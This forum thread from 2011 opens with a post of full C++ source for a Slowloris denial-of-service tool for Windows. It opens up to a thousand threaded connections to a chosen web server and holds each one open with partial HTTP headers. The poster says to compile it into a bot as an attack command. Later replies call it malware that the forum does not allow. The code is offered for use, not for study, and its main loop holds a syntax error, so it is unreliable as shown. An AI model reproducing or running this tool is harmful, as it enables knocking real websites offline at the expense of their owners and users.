Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Real Slowloris code
#1
Code:
Slowloris Source Real
//slowloris attack by akademika in c++ for windows BuNDy <3
///////////////////////////////////////////////////
#include <iostream>
#include <string>

#include <stdlib.h>
#include <winsock.h>//dont forget to add wsock32.lib to linker dependencies

#include "main.h"
#include "externs.h"

using namespace std;

#define BUFFERSIZE 1024
void die_with_error(char *errorMessage);
void die_with_wserror(char *errorMessage);

char request[1000];
char hold[20];
struct sockaddr_in serveraddr;
int waittime;
const int MAXTHREADS = 1000;
char host[512];

int main(int argc, char *argv[])
{
if (argc < 4){
printf("Arguments: domain port waittime\n");
printf("Example: http://www.google.de 80 1000 (1000ms is pretty good)\n");
return 1;
}

HANDLE hThreaded[MAXTHREADS];

WSADATA wsaData;
sprintf(host,"%s",argv[1]);
int port = atoi(argv[2]);
waittime = atoi(argv[3]);

sprintf(request,"GET / HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre\r\nContent-Length: 42\r\n", host);
sprintf(hold,"X-a: b\r\n");
printf("Attacking\n");

//init winsock
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
printf("Could not start WSA");

memset(&serveraddr, 0, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = *(LPDWORD)gethostbyname((char *)host)->h_addr_list[0];
serveraddr.sin_port = htons((unsigned short) port);

for (int index=0; index < MAXTHREADS; index++)
hThreaded[index] = CreateThread( 0, 0, (LPTHREAD_START_ROUTINE)&Thread, 0, 0, 0 );

getchar();
//for(int b = 0; b < 200; b++)
//    closesocket(cookie[b]);

//cleanup
WSACleanup();
return 0;
}


DWORD WINAPI Thread( LPVOID param )
{
SOCKET cookie = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (cookie != INVALID_SOCKET){
//printf("Opened Socket with ID: %d \n",cookie[c]);
//connect
if (connect(cookie, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) == 0){
printf("Connected using Socket ID: %d \n", cookie);
//send request
if (send(cookie, request, int(strlen(request)), 0) == int(strlen(request))){
//printf("Requested using Socket ID: %d \n",cookie[c]);
for(; {
if (send(cookie, hold, int(strlen(hold)), 0) == SOCKET_ERROR)
return 1;
printf("Send Hold \n");
Sleep(waittime);
}
}
else
printf("Error Sending \n");
}
else    
printf("Error Connecting %d \n",GetLastError());
}
else
printf("Error Opening Socket \n");
}

For the noobs Copy and past into a bot you want to have this cmd and include in complie!!/Rebuildall! and you have a decent slowloris command


Aim = Pr8Source
#2
Kinda sucky code but I guess it's ok. Also this isn't really the place to post it.
Need website or forum help?
[Image: logo.png]
#3
(06-11-2011, 03:35 PM)0xE9 Wrote: Kinda sucky code but I guess it's ok. Also this isn't really the place to post it.

well its c++ i dont see another c++ section?


Aim = Pr8Source
#4
(06-11-2011, 04:49 PM)Ted Bundy Wrote: well its c++ i dont see another c++ section?
It looks like C using C++ headers to me. But anyway it's classed as malware which isn't allowed on this forum.
Need website or forum help?
[Image: logo.png]
#5
This is not allowed here.


Forum Jump:


Users browsing this thread: 1 Guest(s)